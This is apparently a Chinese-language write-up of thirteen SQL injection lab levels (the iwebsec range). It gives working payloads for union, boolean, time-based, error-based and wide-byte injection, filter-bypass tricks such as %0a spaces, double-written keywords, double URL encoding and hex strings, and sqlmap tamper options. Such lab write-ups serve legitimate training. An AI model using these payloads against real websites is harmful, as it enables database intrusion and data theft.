01-数字型注入
?id=2 order by 3
?id=2 union select 1,2,3--+
发现1,2,3位置均有回显且无过滤,正常进行注入即可
02-字符型注入
先判断闭合,无论是但还是双都是正常执行查询语句,无法执行注入语句,首先考虑单双引号是否被转义,即转为 /‘ 的形式,对于转义可以采用宽字节注入,原理为 / 的编码为%5c,可以在前面使用 %df 将 %5c “吃掉”,%df%5c 会被编码为 運
?id=1%df' union select 1,2,3--+
经过转义后变成?id=1%df/' union select 1,2,3--+
再经过编码解释变为?id=1運' union select 1,2,3--+
即可进行正常注入
?id=1%df' union select 1,2,group_concat(column_name)from information_schema.columns where table_name = 0x73716c69--+
无论输入``还是’’都会被转义,所以直接使用十六进制就行
03-布尔注入
?id=1 order by 3--+
?id=1 and 1=1--+
和 ?id=1 and 1=0--+
确定没有闭合
直接动手写代码:
1 | import requests |
当然,我们可以使用SQLmap进行注入:
python sqlmap.py -u ... --dbs --dump
04-sleep注入
?id=1 and if(1=1,sleep(5),2)--+
直接上代码:
1 | import requests |
SQLmap:
python sqlmap.py -u ... --dbs --dump
05-updatexml报错注入
?id=1 and 1= updatexml(1,concat(0x7e,(select database())),3)--+
database()
改为:
group_concat(table_name)from information_schema.tables where table_schema=database()
SQLmap处理这种简单的注入都是用同样的命令就行
06-宽字节注入
原理和第二题是一样的
?id=1%df'union select 1,2,3--+
剩下的为所欲为了,注意需要引号的地方使用十六进制即可
07-空格过滤绕过
当出现空格时就会回显ERROR
,所以不能出现空格,注释不能再是--+
,因为--+ = --空格
,需要使用#
空格可以使用*%0a %0b %0c*去替代,还有很多,自行搜集
?id=0%0aunion%0aselect%0a1,2,3#
为什么这里需要用id=0呢,因为使用id=1的时候只回显了id=1的用户信息而没有回显我们的联合查询信息,猜测是源码使用了limit
导致只回显一行,所以使用id = 0
没结果,就会返回联合查询的内容了
SQLmap:
--tamper=space2randomblank
08-大小写过滤绕过
?id=1 union select 1,2,3--+
报错
?id=1 Union sElect 1,2,3--+
成功
SQLmap:直接就行
09-双写关键字绕过
?id=0 ununionion seselectlect 1,2,3--+
可以看到union没被过滤
?id=0 union seselectlect 1,2,3--+
接着为所欲为去吧
SQLmap中自己写一个脚本把select替换就行
10-双重URL编码绕过
?id=0 union select 1,2,3--+
回显ERROR
将union select
进行二次url编码再放回上面payload即可
二次url编码脚本(by 我自己,写得烂)
1 | def encode_to_hex(input_str): |
11-十六进制绕过
?id=1 union select 1,2,3--+
group_concat(column_name) from information_schema.columns where table_name = 'user'--+
这个十六进制编码就好
12-等价函数替换过滤
?id=1 union select 1,2,3--+
group_concat(table_name) from information_schema.tables where table_schema = database()
报错
排查,最后发现是=
被过滤,使用like
替代
group_concat(table_name) from information_schema.tables where table_schema like 'iwebsec'
SQLmap:
--tamper=equaltolike
13-二次注入
直接看大佬的分析吧